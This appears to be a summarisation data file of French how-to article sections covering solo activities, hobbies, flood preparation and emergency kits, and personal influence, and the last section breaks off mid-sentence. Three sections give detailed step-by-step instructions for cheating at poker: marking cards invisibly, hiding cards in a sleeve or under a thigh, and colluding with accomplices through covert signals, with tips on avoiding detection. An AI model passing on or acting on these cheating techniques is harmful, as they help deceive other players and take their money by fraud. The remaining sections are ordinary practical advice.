summary: Secouez votre timidité. Faites du bénévolat. Inscrivez-vous à un club de rencontres autour de centres d'intérêt commun. Faites une excursion et visitez un endroit nouveau.

document: La plupart des gens ont peur de sortir et de faire des choses par eux-mêmes parce qu'ils craignent d'être jugés par les autres, à moins qu'ils croient qu'ils ne vont pas s'amuser autant qu'à plusieurs. En réalité, rien de tout cela n'est vrai. Nous avons tendance à exagérer l'intérêt que peuvent porter les autres à ce que nous faisons (peu de gens vont s'en soucier ou remarquer le fait que vous êtes seul), tout comme nous sous-estimons notre capacité à apprécier une activité en solo .  Ne laissez pas votre statut en solo vous retenir de sortir et de vivre certaines choses. Il est probable que vous serez bien plus heureux en sortant et en faisant quelque chose qu'en restant chez vous . Souvenez-vous qu'il faut du cran pour faire certaines choses par soi-même. Si vous ne pouvez pas vous empêcher de vous soucier de ce que vont penser les autres en vous voyant seul. Vous donnerez une plus grande impression de confiance en vous que toute autre chose, si l'on vous voit en train de passer un bon moment avec assurance et sans cacher que vous êtes seul. Ne cherchez pas à éviter d'anciens camarades de classe que vous croisez ni n'ayez l'air embarrassé, si vous avez peur de ce qu'ils pourraient penser. Faites comme si ce n'était rien de bien méchant. Alors oui, vous êtes allé voir un film en solo et alors ? Ils n'auraient pas eu le courage de faire la même chose, vous devriez donc être fier d'être allé au bout de votre aventure en solitaire. Vous rencontrerez d'autres personnes tout en œuvrant pour une bonne cause. Impliquez-vous pour une cause qui vous passionne et offrez-y vos talents. Si vous êtes très manuel, envisagez des chantiers de construction pour les plus déshérités. Si vous avez un excellent contact avec les animaux, offrez quelques heures de votre temps libre à un refuge près de chez vous pour promener des chiens, nettoyer des cages et jouer avec des chatons. Si vous êtes plutôt écolo, sautez sur les occasions de nettoyer des rivières, des forêts ou un parc. Vous allez bien vous amuser en préservant l'environnement, et vous rencontrez aussi dans la foulée des gens sympathiques .  Vous pouvez aussi faire du bénévolat pour les Restaurants du coeur, rendre visite à des enfants ou des personnes âgées à l'hôpital, donner un coup de main dans une garderie et faire du tutorat via une association. Contactez la paroisse de votre commune ou la mairie pour voir s'il n'y aurait pas des occasions de faire du bénévolat. Ici, vous avez d'emblée des atomes crochus avec tous les autres membres du groupe. Recherchez en ligne des rencontres gratuites dans les domaines qui vous intéressent, que ce soit la randonnée, la pétanque, la peinture, la photo et rendez-vous à l'une de ces sorties. Vous ferez à plusieurs ce qui vous plait et vous ferez peut-être par la même occasion quelques amis.  Voyez les clubs proposés par votre école, si vous êtes encore scolarisé. Il pourrait même y avoir des activités pour les personnes qui n'aiment pas être seules, comme de regarder un film en plein air ou visiter une réserve naturelle. Vous pourrez y aller tous ensemble. Faites-vous une sélection de vos chansons préférées, choisissez une ville proche de la vôtre, un parc ou un site qui parait bizarre ou intéressant (un labyrinthe végétal, peut-être ?) et allez-y. Vous pouvez fredonner sur vos chansons aussi fort que vous le voulez, vous arrêter où cela vous plait, vous n'avez pas besoin de vous préoccuper des projets des autres ou de leurs pauses pipi. Cette excursion est rien que pour vous .  Certaines personnes apprécient de faire de longs trajets pour se vider l'esprit et évacuer les tensions. Cela vous donne le temps de réfléchir et de vous régénérer, mais cela vous permet aussi de quitter votre domicile . Voyez si un proche ou un membre de la famille peut vous emmener à l'aventure, si vous ne savez pas conduire ou n'avez pas l'âge légal de le faire.

english_section_name: Getting Out There

summary: Jouez à des jeux vidéos ou sur l'ordinateur. Faites des expériences en cuisine et apprenez à cuisiner. Ayez une activité artistique. Offrez-vous une séance de cinéma.

document: Recherchez les jeux gratuits en ligne si vous n'avez pas envie de dépenser de l'argent. Sinon, vous pouvez aussi essayer un jeu en ligne à plusieurs joueurs pour vous faire des amis pendant que vous jouez. Il existe des tonnes de jeux différents en ligne et la plupart comportent des énigmes assez retorses et des scénarios assez fouillés qui peuvent vous occuper pendant des heures. Souvenez-vous que vous ne devriez pas raconter trop de choses à ceux que vous rencontrez en ligne. La cuisine peut être très amusante, surtout si vous écoutez en même temps vos airs préférés avec sous la main un éventail d'ingrédients frais et délicieux. Voyez en ligne ou regardez une émission de cuisine pour trouver une recette qui vous inspire. Faites ensuite une liste de courses et mettez-vous à l'œuvre. Vous pouvez prendre tout votre temps. Après tout, vous n'avez pas besoin de cuisiner pour une célébrité ni pour un chef étoilé qui va vous juger. Le meilleur moment reste encore quand vous mangerez ce que vous avez préparé  ! La cuisine et la pâtisserie vous demanderont sans doute d'utiliser des couteaux, une plaque de cuisson ou un four. Assurez-vous d'avoir l'accord de vos parents, si vous êtes mineur, ou demandez-leur de vous aider à préparer votre plat. Essayez la peinture, la photographie, la poésie, les collages, tout ce qui peut vous inspirer. Vous n'avez pas besoin de vous soucier d'être jugé par qui que ce soit, votre liberté d'expression est donc totale. Soumettez votre projet artistique à un concours. Vous pourriez gagner de l'argent, rencontrer d'autres artistes et surprendre vos pairs avec vos talents. Bien que les gens aillent souvent au cinéma à plusieurs, ce n'est pas vraiment une activité très sociale. Il n'y a ici aucune raison d'échanger avec d'autres pendant que vous fixez le grand écran. Vous oublierez bien vite que vous êtes seul, et vous apprécierez probablement bien mieux le film que si vous aviez été en groupe. Essayez les marathons du cinéma. Achetez un billet en matinée puis glissez-vous dans une deuxième séance, voire une troisième. Assurez-vous simplement de ne pas être pincé !

english_section_name: Trying New Hobbies

summary: Suivez des cours dans une discipline qui vous intéresse. Démarrez un blog sur un sujet qui vous passionne. Rendez-vous dans un musée. Lisez !

document: Vous pouvez le faire en ligne ou vous inscrire aux programmes gratuits proposés dans toutes les Universités du temps libre de France. Vous pouvez aussi télécharger gratuitement des cours magistraux de ces universités proposés en ligne . Vous pourriez trouver un sujet assez intéressant pour vous donner envie d'en faire une carrière.  Suivez des cours de codage et apprenez à faire vos propres applications pour votre smartphone. Vous pourriez finir par concevoir un jeu qui rencontre un immense succès ! Vous pouvez aussi regarder des podcasts de vos sujets préférés et voir ce que vous pouvez encore en apprendre, si vous n'avez pas envie de suivre l'intégralité d'un programme de cours. Êtes-vous un fan de cinéma ? Commencez un blog pour partager vos impressions sur vos films préférés, écrivez des chroniques et échangez en ligne avec d'autres amoureux du septième art. Vous pouvez mettre en place un blog de photos si vous êtes plutôt fan de cet art et présentez en ligne vos meilleures réalisations. La tenue d'un blog est un excellent moyen de propager votre passion et de rencontrer des personnes qui partagent vos centres d'intérêt .  Montez un blog où vous présentez votre tenue du jour. Faites ceci si vous êtes mordue de mode, parlez de vos marques fétiches et de ce qui est tendance sur les podiums. Évoquez votre équipe sportive préférée ainsi que ses performances cette saison, analysez le classement en division ou faites monter la mayonnaise en envoyant un commentaire enthousiaste pour dire pourquoi votre équipe est la meilleure. Cela vous permet d'y passer tout le temps que vous voulez à n'importe quelle exposition qui vous plait. Vous n'avez pas besoin de vous soucier d'être bousculé par qui que ce soit si vous voulez fixer un seul tableau pendant vingt minutes. Vous pouvez visiter le musée au rythme qui vous convient ou aussi souvent que vous le voulez .  Essayez de visiter des musées lors des Journées du patrimoine, l'entrée est gratuite. Achetez un passeport culturel. Cela vous permet de visiter autant de musées et d'expos que vous le désirez. Vous pourriez aussi bénéficier d'invitations à des conférences ou à des évènements spéciaux organisés par ces musées en tant que membre privilégié. Emparez-vous d'un livre que vous n'avez jamais lu et qui traine sur une étagère ou relisez vos auteurs préférés. Ne sous-estimez pas le plaisir que vous pouvez tirer de la lecture d'un bon livre. Vous pouvez apprendre des tas de choses en lisant des documents ou des biographies ou être transporté dans un autre univers à travers une fiction formidable. Rendez-vous à la bibliothèque. Vous pouvez y feuilleter gratuitement des ouvrages sur place et voyez si l'établissement propose des lectures publiques ou d'autres manifestations. C'est aussi un excellent endroit pour vous informer sur les conférences et autres évènements à venir.

english_section_name: Improving your Mind

summary: Essayez le parkour. Faites une randonnée. Essayez un cours de fitness qui pourrait être embarrassant. Bichonnez-vous avec une journée en thalasso.

document: C'est un moyen amusant de faire du monde un itinéraire semé d'embuches. Essayez de trouver le moyen le plus rapide de vous rendre d'un point A à un point B . Cela peut vous demander de sauter, de grimper, de dégringoler, ce qui va aussi améliorer votre sens de l'équilibre et vous apprendra à prendre des décisions rapides . Commencez modérément afin de ne pas vous blesser et apprenez certains mouvements de base avant de vous lancer. Commencez par votre jardin ou tout autre terrain assez doux. Vous renforcez votre système immunitaire en ayant une activité de plein air, ce qui favorise aussi un mode de vie plus actif et encourage une attitude plus positive . Vous pouvez vous sentir plus paisible et remettre les pendules à l'heure en passant plus de temps dans la nature. Une longue promenade le long d'un splendide sentier de montagne vous rappellera que le monde est beau, ce qui vous aidera aussi à vous rendre compte qu'il n'y a pas de mal à être seul. Dites à quelqu'un où vous allez et à quelle heure vous rentrez. Vos proches sauront ainsi où vous chercher si vous vous êtes blessé pendant votre randonnée. Les cours de danse, de Zumba, de claquettes sont très endurants, mais aussi incroyablement amusants. Mais ils peuvent aussi être un peu gênants quand vous essayez les pas de danse sous la conduite du professeur. Vous serez bien moins complexé(e) et pourrez vous amuser et danser tout votre soul, si vous êtes entouré par d'autres débutants qui essayent de faire la même chose que vous.  Le yoga est une autre excellente discipline que l'on peut faire en solitaire. Vous pouvez vraiment vous concentrer sur vos mouvements. De plus, il est probable que les autres participants soient seuls aussi, si vous prenez des cours . Regardez des vidéos d'activités sportives amusantes. La Zumba ou les claquettes sont par exemple des activités que vous pouvez faire chez vous, si vous n'êtes pas inscrit dans un club de remise en forme . Offrez-vous un masque du visage, vernissez vos ongles et vos orteils et dégustez un peu de jus de concombre frappé. Essayez de nouvelles techniques de maquillage et voyez comment vous pouvez vous faire de parfaits yeux de chat. Offrez-vous simplement un traitement de luxe, détendez-vous et sentez-vous pendant quelques instants comme un roi ou une reine . Demandez à un proche de se joindre à vous. Vous pourriez vous offrir une manucure et une pédicure à deux.

english_section_name: Taking Care of Your Body


summary: Faites une réserve d'eau et de nourriture pour 3 jours. Incluez dans une caisse d'urgence des outils et autres objets qui vous seront utiles dans une situation d'urgence. Ajoutez dans la caisse d'urgence les ustensiles et les produits nécessaires pour maintenir une hygiène de base. Ajoutez des objets de protection dans la caisse. Gardez de côté au moins un appareil qui permet de rester en contact avec l'extérieur.

document: Vous devez prévoir environ 4 litres d'eau par jour pour chaque personne. En ce qui concerne la nourriture, stockez des aliments non périssables, comme des boites de conserve et des aliments qu'il n'est pas nécessaire de faire cuire, comme des fruits secs. Placez cette réserve de nourriture dans une caisse étanche .  N'oubliez pas d'ajouter à cette réserve quelques ustensiles comme un ouvre-boite, des assiettes et des verres en plastique ainsi que des couverts . N'oubliez pas non plus l'eau et la nourriture pour vos animaux de compagnie ainsi que les ustensiles qui leur permettront de boire et manger . Pensez à mettre de côté des couteaux et des tournevis. Pensez aussi à un trousseau de clés supplémentaire et à des batteries et des chargeurs de secours pour des appareils comme un téléphone portable et une lampe torche. La caisse doit contenir un kit de premiers secours, des savons, des brosses à dents et de la pâte dentifrice, du shampoing et d'autres produits de toilette. Pensez aussi à ajouter des lingettes antibactériennes qui peuvent être très utiles lorsqu'on doit économiser l'eau. Il peut s'agir de bottes en caoutchouc, de couvertures d'urgence, de produits antimoustiques ou contre d'autres insectes, de crème solaire ou de paires de gants. Pensez à un poste de radio (avec une réserve de piles) qui vous permettra de connaitre l'évolution du temps et d'avoir toute sorte d'informations données par une radio locale. Vous devrez aussi être en mesure de contacter des proches à l'extérieur et c'est pourquoi vous devez inclure dans la caisse d'urgence votre liste de contacts contenant tous les numéros de téléphone importants.

english_section_name: Preparing an Emergency Box for Evacuation

summary: Évitez de faire construire votre maison dans une zone d'inondations. Faites surélever les prises et les principaux appareils électriques. Créez des copies de vos documents les plus importants. Installez une pompe de puisard. Installez des valves antiretours dans les canalisations de drainage, les toilettes et les éviers. Créez de petites digues. Étanchéifiez les murs de votre cave.

document: Comme cela a été dit dans la première partie de cet article, vous pouvez obtenir les plans d'inondations pour votre région et savoir quelles zones constructibles sont les plus susceptibles d'être inondées. Si vous devez construire votre maison dans une zone inondable, choisissez un terrain surélevé, si vous en avez la possibilité et exigez au moins qu'elle soit conçue pour résister à une inondation . Le générateur électrique, le four de votre cuisine, le système d'air conditionné et le chauffe-eau électrique devraient être installés au-dessus du sol pour les préserver de l'eau en cas d'inondation. Les prises murales et les fils du réseau électrique devraient être installés à au moins 30 cm du sol . Il est important que ces modifications soient supervisées par un spécialiste. Assurez-vous que vous avez des copies de vos contrats d'assurance, des photos de votre maison et de votre terrain et de tout autre document important et placez-les dans un endroit sûr. Vous pouvez les ranger chez vous dans une caisse étanche ou dans une boite personnelle sécurisée dans une banque. Vous pourrez l'utiliser pour évacuer toute l'eau qui s'est accumulée dans votre maison et notamment dans votre cave. Si votre maison se trouve en zone inondable, vous devez en avoir une et vous devez vous assurer qu'elle sera alimentée en électricité même si le réseau électrique est coupé. Elles vont empêcher l'eau de remonter dans votre maison par les canalisations tandis que le niveau d'eau général va monter à l'extérieur. Demandez l'avis d'un professionnel et servez-vous de ses conseils pour installer des barrières contre les montées d'eau qui pourraient inonder votre habitation. Si vous possédez une cave, commencez par obstruer avec un enduit hydrofuge toutes les petites ouvertures et fissures par lesquelles l'eau pourrait pénétrer dans le sous-sol.

english_section_name: Readying Your Home and Documents in Advance

summary: Allumez un poste de radio. Coupez le courant dans votre habitation. Si vous devez évacuer votre maison, coupez l'arrivée de gaz. Si vous devez évacuer votre maison, coupez l'arrivée d'eau . Si vous restez dans votre maison, remplissez la baignoire et les éviers d'eau propre. Attachez les éléments extérieurs qui pourraient être emportés par les eaux. Transportez tous les objets importants au niveau le plus élevé de votre habitation.

document: Réglez-le pour obtenir des nouvelles du temps et d'autres informations qui concernent la montée des eaux dans la zone géographique où vous habitez. Faites-le urgemment si de l'eau a pénétré dans votre maison. Effectuez l'opération en actionnant manuellement le principal interrupteur du disjoncteur qui se trouve dans l'armoire contenant le tableau électrique de votre habitation. Vous devez également actionner cet interrupteur si vous voyez une ligne électrique coupée dans votre rue ou si vous devez quitter votre maison à cause de l'inondation. Vous devriez trouver le petit robinet qui permet d'effectuer cette opération dans un petit boitier situé dans la rue contre un mur de votre maison. Chaque habitant doit connaitre l'emplacement de ce boitier pour sa maison. En général, il suffit de tourner la petite manette d'un quart de tour dans le sens contraire des aiguilles d'une montre, afin de la positionner perpendiculairement au tuyau d'arrivée du gaz, pour couper l'alimentation en gaz de la maison . Vous pourriez avoir besoin d'une pince pour tourner la manette. Le robinet qui permet de couper l'alimentation en eau de votre habitation devrait se trouver à proximité de votre compteur d'eau, probablement à l'extérieur de votre maison. Si vous vivez dans une région très froide, ce dispositif est certainement installé à l'intérieur même de votre habitation. En général, il suffit de tourner un petit robinet plusieurs fois dans le sens des aiguilles d'une montre pour couper l'arrivée d'eau . Nettoyez ces surfaces émaillées avec de l'eau javellisée et rincez-les abondamment à l'eau courante. Remplissez-les d'eau du robinet pour disposer d'une bonne réserve d'eau potable. Profitez-en pour remplir tout pichet ou récipient afin d'augmenter cette réserve d'eau. Si vous possédez des objets comme des bancs, des bacs ou un barbecue, transportez-les à l'intérieur de votre maison ou dans votre garage ou bien attachez-les solidement à des éléments fixes comme des poteaux ou des arbres. Si vous en avez le temps, transportez les meubles et les appareils électroniques lourds à un étage ou dans le grenier. Si vous ne disposez pas d'un étage, vous pouvez les installer sur un point surélevé comme le plateau d'une table (robuste) en bois massif .

english_section_name: Readying Your Home When Floods Arrive

summary: Évaluez les risques. Établissez un plan d'évacuation. Expliquez à vos enfants comment ils doivent réagir en cas d'inondation. Préparez une liste de contacts regroupant des personnes qui n'habitent pas dans votre région. Pensez à vos animaux de compagnie. Souscrivez un contrat d'assurance couvrant les pertes dues aux inondations.

document: Si vous venez de vous installer dans un nouveau logement, renseignez-vous auprès des autorités locales ou nationales pour savoir quels sont les risques d'inondation dans votre nouveau quartier . Vous pouvez aussi tenter de récupérer des cartes d'inondations (pour votre municipalité) qui sont mises à la disposition des citoyens par les organismes qui gèrent les urgences liées aux catastrophes naturelles. Vous pouvez probablement récupérer ces informations en ligne. Si c'est le cas, vérifiez régulièrement les mises à jour des cartes d'inondations .  Le principal facteur qui détermine les risques d'inondation pour vous est la configuration (topographie) du lieu où vous habitez. En général, les risques sont plus importants si votre habitation est dans une zone encaissée plutôt que dans une zone surélevée . Il y a de nombreux autres facteurs qui permettent d'évaluer les risques d'inondation. Par exemple, si le rez-de-chaussée de votre habitation est au-dessous du seuil de base pour les inondations dans votre localité, il y a des risques qu'il soit inondé en cas d'intempéries. Les risques sont aussi plus importants si vous habitez à proximité d'une pièce d'eau comme un lac ou une rivière. Les risques sont encore plus grands si vous habitez à proximité de l'océan . Vous devez commencer par déterminer les meilleures routes de sortie et d'entrée dans le cas où votre quartier serait inondé. Vous devez savoir où se trouvent les endroits les plus élevés près chez vous, car il vous faudra vous y réfugier si vous devez évacuer votre habitation. Il vous faut également déterminer des lieux de rencontre vers lesquels vous et vos proches devrez converger si vous êtes séparés les uns des autres pendant une inondation. Écrivez et dessinez toutes ces informations sur du papier et faites si possible ce travail en concertation avec vos proches pour que tout le monde ait une idée des endroits où se retrouver en cas de catastrophe .  Le meilleur moyen de déterminer des routes d'évacuation est de consulter les cartes d'inondations qui indiquent les endroits les plus touchés et ceux qui sont épargnés (totalement ou relativement) lors d'une catastrophe . Au moment où vous établissez les routes d'évacuation, choisissez en concertation avec les personnes concernées quelques endroits de « repli », comme la maison d'un ami ou votre lieu de travail, s'ils se trouvent habituellement hors des zones inondées. De nombreuses municipalités prévoient des points de rassemblement pour la population locale en cas d'inondation. Faites en sorte qu'ils apprennent par cœur les numéros de téléphone d'urgence. Apprenez-leur à composer un numéro de téléphone sur différents types d'appareil (téléphone à touches, smartphone à écran tactile, etc.), mais aussi à demander et donner des informations à leur interlocuteur dans un cas d'urgence. Faites aussi en sorte qu'ils puissent aller dans un endroit du voisinage pour passer un coup de téléphone lorsqu'ils n'ont pas la possibilité de le faire depuis chez vous . Indiquez quelle personne de cette liste vos proches doivent prioritairement contacter en cas d'urgence. Ainsi, une personne se trouvant dans un endroit épargné pourra être informée de ce qui vous arrive si une inondation a lieu dans votre localité . N'oubliez pas de les inclure dans vos plans d'évacuation. Vous devez prévoir assez de caisses de transport pour pouvoir les emmener dans des conditions relativement bonnes . Il est important que vous disposiez de ces caisses, car, sans celles-ci, vous pourriez rapidement perdre le contrôle d'une situation d'urgence qui demande l'évacuation de vos animaux .  N'oubliez pas que vous devrez aussi emporter tout le nécessaire pour vos animaux. Ils auront besoin d'eau et de nourriture ainsi que de récipients dans lesquels boire et manger et éventuellement de leurs médicaments s'ils doivent en prendre. N'oubliez pas non plus qu'il vous faudra prendre quelques-uns de leurs objets familiers, comme des jouets et des couvertures, qui peuvent les rassurer s'ils se retrouvent dans un endroit qu'ils ne connaissent pas. Vous devez aussi garder à l'esprit que tous les centres d'accueil d'urgence n'acceptent pas les animaux . Si vous êtes bloqué chez vous pendant une inondation, emmener vos animaux avec vous dans l'endroit le plus élevé de votre habitation où vous pourrez attendre dans un relatif confort . Une inondation peut provoquer d'énormes dégâts et c'est pourquoi vous pouvez envisager d'assurer vos biens si vous pensez que les risques d'inondation ne sont pas négligeables dans votre localité. De toute façon, les frais d'assurance contre les inondations sont bas si vous vivez dans une zone où les risques qu'elles se produisent sont considérés comme peu élevés. Si vous vivez dans une zone où ces risques sont considérés comme plutôt élevés par les compagnies d'assurance, il vous en coutera plus d'argent pour couvrir vos biens, mais vous éviterez de tout perdre si une inondation se produit. En fait, il est souvent obligatoire d'avoir une assurance contre les inondations dans les endroits où elles sont susceptibles de se produire . En général, vous avez la possibilité de vous assurer contre les inondations dans le cadre de la compagnie qui vous couvre pour votre logement ou votre voiture .

english_section_name: Creating a Plan


summary: Attendez de recevoir une carte à marquer. Laissez votre marque. Débarrassez-vous de la carte après l'avoir marquée. Observez attentivement toutes les cartes qui passent dans les mains de vos adversaires.

document: Vous ne devez marquer que quelques cartes pour que cette façon de tricher fonctionne. Vous devez notamment pouvoir identifier les cartes les plus fortes.  Vous pouvez marquer les « As » parce que ce sont les cartes les plus fortes et qu'ils sont souvent utilisés pour constituer des mains fortes. Vous pourriez aussi marquer les cartes de petite valeur pour savoir qui les reçoit. Soyez patient, et attendez d'avoir en main une de ces cartes pour la marquer. Celle-ci doit être très subtile, c'est-à-dire invisible pour une personne qui ne sait pas que la carte porte une marque.  La marque doit être la plus petite possible, c'est-à-dire à peine remarquable. Ne marquez que le dos ou un bord de la carte. Par exemple, faites avec un ongle une toute petite rainure sur un bord. Vous pourriez aussi légèrement incurver un coin. Une petite entaille sur la tranche d'une carte peut aussi très bien faire l'affaire. Jouez votre main, puis jetez vos cartes ou abattez-les en fin de tour. L'essentiel est que la carte marquée retourne dans le paquet de cartes à distribuer.  Ne fixez pas votre regard sur la carte marquée alors que vous vous en débarrassez. Ne cherchez pas à la localiser immédiatement dans le paquet de cartes. Cherchez les marques dans les endroits où vous les avez laissées, c'est-à-dire dans les coins et sur les bords. Vous pourrez alors connaitre à coup sûr quelques-unes des cartes que vos adversaires ont dans les mains.  Observez discrètement tous les pourtours des dos des cartes qui sont dans les mains de vos adversaires. Jouez en tenant compte des informations que vous donnent les marques. Contentez-vous de jeter des coups d'œil sur les cartes des adversaires. Si vos regards sont trop insistants, ils pourraient finir par comprendre que vous recherchez des marques.

english_section_name: Marking a Card

summary: Attendez de recevoir une carte qui vous intéresse. Cachez la carte que vous souhaitez garder. Jetez le reste des cartes. Continuez à jouer normalement. Jouez la carte cachée ou abandonnez-la pour une meilleure carte. Rétablissez les choses.

document: Gardez bien à l'esprit la carte que vous voulez conserver. Vous n'utiliserez pas cette carte immédiatement, mais vous la cacherez pour l'utiliser au cours d'une prochaine main.  Soyez patient, et attendez de recevoir la bonne carte. N'enlevez cette carte que si elle fait partie d'une mauvaise main. Jouez n'importe quelle bonne main de façon normale. Mettez discrètement toutes vos cartes en dessous de la table et retirez la carte qui vous intéresse pour la cacher, par exemple, dans votre manche. Ramenez vos cartes au-dessus de la table et faites un « fold » (abandon de la main).  Vous pouvez facilement et rapidement cacher une carte sous une de vos cuisses alors que vous êtes assis. Laissez la carte tomber sur vos genoux. Faites semblant de laisser quelque chose tomber sur le sol. Faites semblant de ramasser au sol ce que vous êtes censé avoir fait tomber et profitez-en pour placer la carte sous une cuisse. En tout cas, vous devez placer la carte dans un endroit où elle sera facilement et rapidement accessible. Faites des gestes rapides, mais sans à-coups. Abandonnez votre main après avoir caché la bonne carte. Conservez votre calme tandis que vous jetez les cartes.  Faites en sorte que les cartes soient bien rapprochées les unes des autres lorsque vous les posez sur le tapis. Si elles sont bien séparées les unes des autres, vos adversaires peuvent facilement les compter et s'apercevoir qu'il en manque une. N'oubliez pas que vous avez une carte en réserve. Si la carte que vous avez en plus vous permet de faire une main très forte qui est très probablement gagnante, utilisez-la. Sinon, attendez une meilleure main pour vous en servir.  Il est important que vous soyez patient et que vous attendiez le bon moment pour utiliser votre carte cachée. Chaque fois que vous recevez une nouvelle main, analysez bien vos possibilités en tenant compte de votre carte supplémentaire. Encore une fois, ne soyez pas trop pressé d'utiliser la carte. Vous devez agir lorsque votre carte cachée peut créer une main très forte ou lorsque vous avez une carte plus forte que la carte cachée (par exemple, un « As » au lieu d'un « Roi ») dans une main faible. C'est dans un tel moment que vous devez à nouveau faire un mouvement de passepasse.  Faites semblant d'être face à des choix très compliqués. Abaissez vos cartes vers vos jambes ou déplacez-les vers l'endroit où vous avez caché votre carte supplémentaire. Récupérez la carte supplémentaire et placez-la parmi vos autres cartes ou mettez-la à la place d'une autre que vous allez cacher. Si la partie de poker se termine et que vous n'avez pas eu l'occasion d'utiliser votre dernière carte cachée, débrouillez-vous pour la remettre dans le paquet sans que les autres joueurs s'en aperçoivent.  Utilisez la même tactique que précédemment pour ajouter la carte cachée parmi les autres cartes que vous avez en main. Jetez toutes les cartes pour vous débarrasser de la carte supplémentaire. Rapprochez vos cartes les unes des autres pour qu'elles soient difficiles à compter. En tout cas, évitez de vous faire prendre avec une carte supplémentaire une fois que le jeu est terminé.

english_section_name: Holding Out

summary: Commencez à mettre votre stratégie en place. Choisissez un ou des amis en qui vous avez confiance. Décidez de la façon dont vous allez communiquer durant la partie de poker. Entrainez-vous avec vos complices. Faites en sorte que personne ne sache que vous travaillez en équipe.

document: Il va vous falloir trouver un ou des complices avec qui vous pourrez partager des informations sur les cartes que vous avez chacun en main.  Il vous faudra trouver au moins une personne avec qui vous pouvez collaborer efficacement. Vous devrez éviter d'impliquer trop de personnes pour réduire les risques que le stratagème soit découvert. Sélectionnez de préférence des amis qui sauront tricher sans perdre leur calme, sinon vous pourriez être tous pris la main dans le sac  Ne choisissez que des personnes que vous connaissez depuis longtemps. Faites un travail d'approche pour vous assurer que cela ne posera pas de problèmes à vos amis de tricher. Choisissez des signaux qui permettront de faire comprendre aux complices les cartes que vous avez en main. Ces signaux doivent être subtils et ils ne doivent pas attirer l'attention lorsque vous les répétez de nombreuses fois durant une partie. En tout cas, évitez tout signal qui pourrait être repéré par les joueurs non complices. Voici quelques exemples de signaux que vous pourriez envoyer à vos complices pour leur donner des informations :   une façon précise de remuer les jetons (chips), un toussotement, des tapotements sur la table, une façon particulière de fermer les yeux, une façon particulière de se toucher une oreille, un sourcil, le nez, le cou ou n'importe quelle autre partie du corps. Vous ne devez pas vous lancer dans une partie avec l'intention de tricher si vous ne vous êtes pas assurés auparavant que votre « système de communication » fonctionne efficacement. Si ce système est bien rodé, vous pourrez chacun conserver votre calme durant la partie, ce qui vous évitera de donner des signes indiquant que vous êtes en train de tricher.  L'entrainement vous évitera un stress qui pourrait vous trahir. Mettez bien en place un ensemble de signaux cohérent pour indiquer qui doit monter les enchères, jeter ses cartes ou suivre et quand il doit le faire. N'utilisez que des signaux simples qui n'éveilleront pas l'attention des joueurs non complices. Mettez en place différentes tactiques de jeu et précisez dans quelles conditions vous allez les appliquer. La collusion au poker est certainement une triche. Les personnes avec qui vous allez jouer ne doivent pas savoir que vous connaissez vos complices. Si vous jouez avec des personnes qui vous connaissent, vous et vos amis, vous et « votre équipe » devez être particulièrement subtils pour ne pas éveiller la suspicion.  Ne donnez aucun signe qui puisse indiquer que vous travaillez en équipe. Jouez comme si vous ignoriez ce que vos complices ont dans les mains. Ne jouez pas trop bien ! Si vous ne faites pas des erreurs, les autres joueurs commenceront à penser que vous avez plus d'informations que vous devriez en avoir.

english_section_name: Colluding With Friends


summary: Fixez vos attentes. Traitez les gens avec courtoisie professionnelle. Tenez les gens informés. Soyez clair. Anticipez les besoins et les exigences. Engagez-vous activement. Collaborez bien avec les autres. Établissez efficacement un réseau. Mettez-vous en colère quand il le faut. N'ayez pas peur d'avoir des ennemis.

document: Au lieu d'attendre que les autres prennent les décisions, faites-le. Laissez de côté votre hésitation et soyez direct par rapport à vos exigences et souhaits, fixant ainsi le rythme de chaque interaction . Au lieu de demander la permission de faire quelque chose, énoncez vos plans sans demander confirmation. Même si l'issue est la même, que vous ayez fait le premier pas ou non, le fait d'énoncer vos attentes en premier vous permettra de prendre la position la plus influente au cours de l'interaction. Si vous voulez le respect, vous devez être disposé à l'offrir. Les autres sont tout aussi importants que vous et vous devez montrer que vous comprenez ce principe fondamental. Suivez la règle d'or qui dit : « faites aux autres ce que vous aimeriez qu'ils vous fassent. » Vous n'apprécierez certainement pas que quelqu'un soit en retard à une réunion et ne vous avertisse pas. Vous n'aimerez pas non plus accorder une faveur à une personne et que cette dernière ne consente même pas l'effort de vous dire « merci ». Si une personne qui se comporte ainsi peut perdre votre confiance, alors vous perdriez probablement celle de quelqu'un d'autre si vous agissiez pareillement. Une bonne communication est absolument nécessaire si vous souhaitez devenir une personne influente. Ne mettez pas les gens dans une position où ils auront l'obligation de deviner ou de s'inquiéter par rapport à ce qui se passera. Au lieu de cela, livrez-leur toutes les informations auxquelles vous aimeriez avoir accès si vos positions étaient inversées. Par exemple, si vous avez besoin d'un service auprès de quelqu'un et que vous précisez à ce dernier qu'il vous faut une réponse au soir du mardi, vous devez le lui rappeler avant la date butoir. S'il ne vous répond pas, vous devez lui envoyer un mot pour lui faire savoir que vous n'avez pas oublié votre requête et que vous attendez toujours une suite. Une bonne communication laisse difficilement place aux erreurs ou aux malentendus. Lorsque vous expliquez une chose, soyez aussi clair que possible. Veillez à ce que tous les détails importants soient réglés avant de passer à autre chose.  Il est important de communiquer de façon détaillée si vous voulez éviter les incidents et les problèmes. Tout le monde doit être sur la même longueur d'onde. Même si les choses tournent mal plus tard, le fait d'avoir eu une communication claire vous permettra de désigner avec précision les fautifs, étant donné que personne ne pourra simplement affirmer qu'il « n'était pas au courant ». Dans le milieu des affaires, en particulier, vous devriez régulièrement communiquer par écrit de manière à ce que les détails puissent être facilement référencés et revus ultérieurement. Faites l'effort de ne pas attendre que les gens vous le demandent avant de rendre service ou de remplir certaines tâches. Si vous avez la possibilité d'anticiper un besoin futur avant qu'il ne devienne urgent, vous montrerez à votre entourage que vous êtes très prévoyant.  Bien évidemment, il y a des moments où vous devrez attendre de recevoir des instructions avant d'agir. Par exemple, si vous décrochez un nouveau travail, vous aurez besoin d'un peu de temps avant d'avoir la maitrise totale de tous les aspects et de prendre vous-même des initiatives. Vous devez absolument éviter de forcer les gens à vous demander une chose de façon répétitive. Peu importe le niveau d'excellence avec lequel vous exécutez la tâche, la personne pour laquelle vous le faites sera probablement frustrée si elle devait vous rappeler cela à plusieurs reprises. Sembler occupé et distrait ne vous permettra pas de paraitre aussi puissant que vous en avez envie, alors faites l'effort de ne pas être déconcentré lorsque vous parlez à quelqu'un. Assurez-vous que tous ceux avec qui vous discutez aient toute votre attention.  Vous devriez surtout arrêter de donner la priorité aux SMS, aux appels téléphoniques et aux courriels au détriment du contact physique. La technologie peut vous maintenir en contact constant avec les autres et c'est une bonne chose, mais vous ne devez pas totalement dépendre d'elle. Vous devrez répondre avec tout votre être, mentalement et émotionnellement, lorsque vous avez affaire aux autres et 